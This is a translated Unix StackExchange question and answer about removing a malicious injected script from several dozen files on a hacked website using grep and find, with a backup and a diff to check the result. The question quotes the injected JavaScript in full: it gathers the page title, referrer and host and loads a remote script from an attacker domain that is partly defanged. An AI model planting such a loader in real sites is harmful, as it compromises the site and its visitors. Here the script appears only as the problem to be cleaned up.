Sed

替換長文本字元串(帶有許多特殊字元的腳本)。sed、awk、grep

  • April 15, 2016

我的網站被黑客入侵/感染。我替換了惡意連結的 url,但惡意腳本中的其他元素仍在使我的網站被阻止。在不插入大約一百個“轉義”的情況下,如何從我網站上的 3 打文件中刪除以下腳本?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

stack-exchange 上的其他頁面沒有回答這個問題。

為了用 xxxx_hack_was_here 等替換惡意網址,我使用了: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

首先,我同意上面的評論:不要用於sed從被黑客攻擊中恢復。 你總是想知道你是否錯過了什麼。從備份中恢復,期間。

但是,您問的字面問題是,如何在不轉義每個特殊字元的情況下從所有出現的地方刪除長字元串,這更容易處理。

我從你的問題中做出了一些你沒有直接說明的推論/假設:

  1. 要刪除的字元串是單行。
  2. 每次發生時都是一樣的。
  3. 它需要被刪除,而不是用其他東西代替。

如果上述假設正確,請執行以下操作:

  1. 將要刪除的字元串(包括任何尾隨空格)單獨放入一個名為 eg 的文件中hackline.txt。將這一層放在您要處理的目錄之上。
  2. 複製整個目錄以防出錯。
cp -a mydir mydircopy
  1. 在您的目錄(或副本)上執行以下循環以刪除 hackline 的所有實例:
cd mydir
for f in *; do
 [ -f "$f" ] && [ -r "$f" ] || continue
 grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
   mv -- "$f.fixed" "$f"
done

這裡的概念是,您將hackline.txt其用作必須匹配整行的固定字元串列表,然後grep用於僅獲取與該字元串列表匹配的行。

-x意思是“整條線”;-F表示“固定字元串,而不是正則表達式”;-v反轉搜尋;-f接受文件中的模式列表。

如果您的網站目錄是分層的而不是平面的(這實際上很有可能),您可以使用find而不是 for 循環:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

然後使用遞歸diff來檢查一切是否應該是:

diff -r mydircopy mydir

引用自:https://unix.stackexchange.com/questions/261628